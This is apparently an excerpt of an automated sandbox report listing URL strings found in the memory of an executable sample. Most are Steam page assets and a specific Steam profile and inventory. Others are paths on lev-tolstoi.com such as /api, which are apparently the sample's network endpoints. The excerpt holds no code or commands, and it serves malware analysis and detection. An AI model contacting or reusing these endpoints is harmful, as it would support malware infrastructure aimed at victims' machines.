Source: 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2241647492.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2167905991.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2382539299.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2212101743.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2270218876.0000000000DF3000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2283721783.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142751148.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2236254752.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp
Source: 20yLTIU4mS.exe, 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2241647492.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2167905991.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2382539299.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2212101743.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2270218876.0000000000DF3000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2283721783.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142751148.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2236254752.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a
Source: 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2241647492.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2167905991.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2382539299.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2212101743.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2270218876.0000000000DF3000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2283721783.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142751148.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2236254752.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng
Source: 20yLTIU4mS.exe, 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2241647492.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2167905991.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2382539299.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2212101743.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2270218876.0000000000DF3000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2283721783.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142751148.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2236254752.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis
Source: 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142587514.0000000000D6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2241647492.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2167905991.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2382539299.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142587514.0000000000D6B000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2212101743.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2270218876.0000000000DF3000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2283721783.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142751148.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2236254752.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2167905991.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142587514.0000000000D6B000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142751148.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2167905991.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142587514.0000000000D6B000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142751148.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=_92TWn81
Source: 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2167905991.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142587514.0000000000D6B000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142751148.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=hyEE
Source: 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am
Source: 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=gQHVlrK4-jX-&l
Source: 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142751148.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=uqf5ttWTRe7l&l=engl
Source: 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142751148.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a
Source: 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142751148.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/profile.js?v=GeQ6v03mWpAc&l=english&a
Source: 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142751148.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en
Source: 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng
Source: 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142751148.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&l=e
Source: 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC
Source: 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142751148.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=St3gSJx2HFUZ&l=e
Source: 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2241647492.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2167905991.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2382539299.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2212101743.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2270218876.0000000000DF3000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2283721783.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142751148.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2236254752.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&
Source: 20yLTIU4mS.exe, 00000000.00000003.2236254752.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl
Source: 20yLTIU4mS.exe, 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2241647492.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2167905991.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2382539299.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2212101743.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2270218876.0000000000DF3000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2283721783.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142751148.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2236254752.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en
Source: 20yLTIU4mS.exe, 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2241647492.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2167905991.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2382539299.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2212101743.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2270218876.0000000000DF3000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2283721783.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142751148.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2236254752.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&
Source: 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/auth_refresh.js?v=w6QbwI-5-j2S&amp
Source: 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am
Source: 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142751148.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=tvQ
Source: 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en
Source: 20yLTIU4mS.exe, 00000000.00000003.2241647492.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2236254752.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2242500446.0000000000E0C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: 20yLTIU4mS.exe, 00000000.00000003.2236151361.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: 20yLTIU4mS.exe, 00000000.00000003.2168879834.000000000559A000.00000004.00000800.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2168728951.000000000559A000.00000004.00000800.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2168663245.000000000559D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 20yLTIU4mS.exe, 00000000.00000003.2168879834.000000000559A000.00000004.00000800.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2168728951.000000000559A000.00000004.00000800.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2168663245.000000000559D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 20yLTIU4mS.exe, 00000000.00000003.2168879834.000000000559A000.00000004.00000800.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2168728951.000000000559A000.00000004.00000800.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2168663245.000000000559D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: 20yLTIU4mS.exe, 20yLTIU4mS.exe, 00000000.00000003.2236151361.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2241647492.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2236254752.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2242500446.0000000000E0C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: 20yLTIU4mS.exe, 00000000.00000003.2167705205.0000000000DB8000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2167705205.0000000000D72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/
Source: 20yLTIU4mS.exe, 00000000.00000003.2142587514.0000000000DB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/0
Source: 20yLTIU4mS.exe, 00000000.00000003.2241647492.0000000000DB8000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2236254752.0000000000DB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/_
Source: 20yLTIU4mS.exe, 00000000.00000003.2236254752.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142751148.0000000000DCE000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2167705205.0000000000DB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/api
Source: 20yLTIU4mS.exe, 00000000.00000003.2283721783.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/api-
Source: 20yLTIU4mS.exe, 00000000.00000003.2212101743.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2236254752.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apidn.c
Source: 20yLTIU4mS.exe, 00000000.00000003.2236151361.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apie
Source: 20yLTIU4mS.exe, 00000000.00000003.2167905991.0000000000DCE000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2167705205.0000000000DB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apip
Source: 20yLTIU4mS.exe, 00000000.00000003.2241647492.0000000000DB8000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2236254752.0000000000DB8000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2212101743.0000000000DB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/b
Source: 20yLTIU4mS.exe, 00000000.00000003.2212101743.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/m
Source: 20yLTIU4mS.exe, 00000000.00000003.2236254752.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2167705205.0000000000D72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/pi
Source: 20yLTIU4mS.exe, 00000000.00000003.2142587514.0000000000DB8000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142751148.0000000000DCE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/pi2
Source: 20yLTIU4mS.exe, 00000000.00000003.2142587514.0000000000DB8000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142751148.0000000000DCE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/pi:
Source: 20yLTIU4mS.exe, 00000000.00000003.2270218876.0000000000DF3000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2283721783.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/pim
Source: 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: 20yLTIU4mS.exe, 00000000.00000003.2167905991.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2212101743.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142751148.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/-int
Source: 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: 20yLTIU4mS.exe, 00000000.00000003.2167905991.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142751148.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/com1
Source: 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: 20yLTIU4mS.exe, 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2241647492.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2167905991.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2382539299.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142587514.0000000000D6B000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2212101743.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2270218876.0000000000DF3000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2283721783.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142751148.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2236254752.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: 20yLTIU4mS.exe, 00000000.00000003.2142587514.0000000000D96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142587514.0000000000D6B000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142751148.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: 20yLTIU4mS.exe, 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2241647492.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2167905991.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2382539299.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2212101743.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2270218876.0000000000DF3000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2283721783.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142751148.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2236254752.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: 20yLTIU4mS.exe, 00000000.00000003.2142587514.0000000000D72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/~
Source: 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
